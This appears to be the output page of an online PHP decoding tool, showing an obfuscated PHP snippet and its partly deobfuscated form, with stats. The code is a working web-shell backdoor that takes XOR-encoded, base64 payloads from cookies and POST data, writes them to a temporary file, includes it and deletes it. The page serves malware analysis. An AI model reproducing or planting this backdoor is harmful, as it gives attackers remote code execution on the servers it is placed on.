Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ..
Decoded Output download
<?php $gjTOY = class_exists("kRg_GRH"); $lrnPT = $gjTOY;if (!$lrnPT){class kRg_GRH{private $vOisifw;public static $HXJeFQfu = "57c0fb6b-14de-4e1a-bfdc-f424a3f6d1bf";public static $mMwAdixzc = NULL;public function __construct(){$pkXuJrV = $_COOKIE;$rDruEYs = $_POST;$baKYDgjkmm = @$pkXuJrV[substr(kRg_GRH::$HXJeFQfu, 0, 4)];if (!empty($baKYDgjkmm)){$ovhgOe = "base64";$YzEOngQXxR = "";$baKYDgjkmm = explode(",", $baKYDgjkmm);foreach ($baKYDgjkmm as $oxRhAQ){$YzEOngQXxR .= @$pkXuJrV[$oxRhAQ];$YzEOngQXxR .= @$rDruEYs[$oxRhAQ];}$YzEOngQXxR = array_map($ovhgOe . chr ( 907 - 812 ).chr (100) . 'e' . chr (99) . "o" . "d" . chr (101), array($YzEOngQXxR,)); $YzEOngQXxR = $YzEOngQXxR[0] ^ str_repeat(kRg_GRH::$HXJeFQfu, (strlen($YzEOngQXxR[0]) / strlen(kRg_GRH::$HXJeFQfu)) + 1);kRg_GRH::$mMwAdixzc = @unserialize($YzEOngQXxR);}}public function __destruct(){$this->SjHhNMqdYB();}private function SjHhNMqdYB(){if (is_array(kRg_GRH::$mMwAdixzc)) {$rTtTHNYx = sys_get_temp_dir() . "/" . crc32(kRg_GRH::$mMwAdixzc["s" . chr ( 975 - 878 ).'l' . chr ( 1053 - 937 )]);@kRg_GRH::$mMwAdixzc["w" . chr ( 262 - 148 ).chr ( 194 - 89 )."t" . "e"]($rTtTHNYx, kRg_GRH::$mMwAdixzc["c" . "o" . chr (110) . "t" . 'e' . "n" . chr ( 412 - 296 )]);include $rTtTHNYx;@kRg_GRH::$mMwAdixzc["d" . "e" . "l" . chr ( 194 - 93 ).'t' . "e"]($rTtTHNYx);exit();}}}$aPoCmQ = new kRg_GRH(); $aPoCmQ = NULL;} ?>
Did this file decode correctly?
Original Code
<?php $gjTOY = class_exists("kRg_GRH"); $lrnPT = $gjTOY;if (!$lrnPT){class kRg_GRH{private $vOisifw;public static $HXJeFQfu = "57c0fb6b-14de-4e1a-bfdc-f424a3f6d1bf";public static $mMwAdixzc = NULL;public function __construct(){$pkXuJrV = $_COOKIE;$rDruEYs = $_POST;$baKYDgjkmm = @$pkXuJrV[substr(kRg_GRH::$HXJeFQfu, 0, 4)];if (!empty($baKYDgjkmm)){$ovhgOe = "base64";$YzEOngQXxR = "";$baKYDgjkmm = explode(",", $baKYDgjkmm);foreach ($baKYDgjkmm as $oxRhAQ){$YzEOngQXxR .= @$pkXuJrV[$oxRhAQ];$YzEOngQXxR .= @$rDruEYs[$oxRhAQ];}$YzEOngQXxR = array_map($ovhgOe . chr ( 907 - 812 ).chr (100) . 'e' . chr (99) . "\157" . "\x64" . chr (101), array($YzEOngQXxR,)); $YzEOngQXxR = $YzEOngQXxR[0] ^ str_repeat(kRg_GRH::$HXJeFQfu, (strlen($YzEOngQXxR[0]) / strlen(kRg_GRH::$HXJeFQfu)) + 1);kRg_GRH::$mMwAdixzc = @unserialize($YzEOngQXxR);}}public function __destruct(){$this->SjHhNMqdYB();}private function SjHhNMqdYB(){if (is_array(kRg_GRH::$mMwAdixzc)) {$rTtTHNYx = sys_get_temp_dir() . "/" . crc32(kRg_GRH::$mMwAdixzc["\163" . chr ( 975 - 878 ).'l' . chr ( 1053 - 937 )]);@kRg_GRH::$mMwAdixzc["\x77" . chr ( 262 - 148 ).chr ( 194 - 89 )."\164" . "\145"]($rTtTHNYx, kRg_GRH::$mMwAdixzc["\143" . "\x6f" . chr (110) . "\164" . 'e' . "\x6e" . chr ( 412 - 296 )]);include $rTtTHNYx;@kRg_GRH::$mMwAdixzc["\x64" . "\x65" . "\x6c" . chr ( 194 - 93 ).'t' . "\145"]($rTtTHNYx);exit();}}}$aPoCmQ = new kRg_GRH(); $aPoCmQ = NULL;} ?>
Function Calls
class_exists | 1 |
Stats
MD5 | c9e0b0cc42679ebc63fe8db4f12b5313 |
Eval Count | 0 |
Decode Time | 66 ms |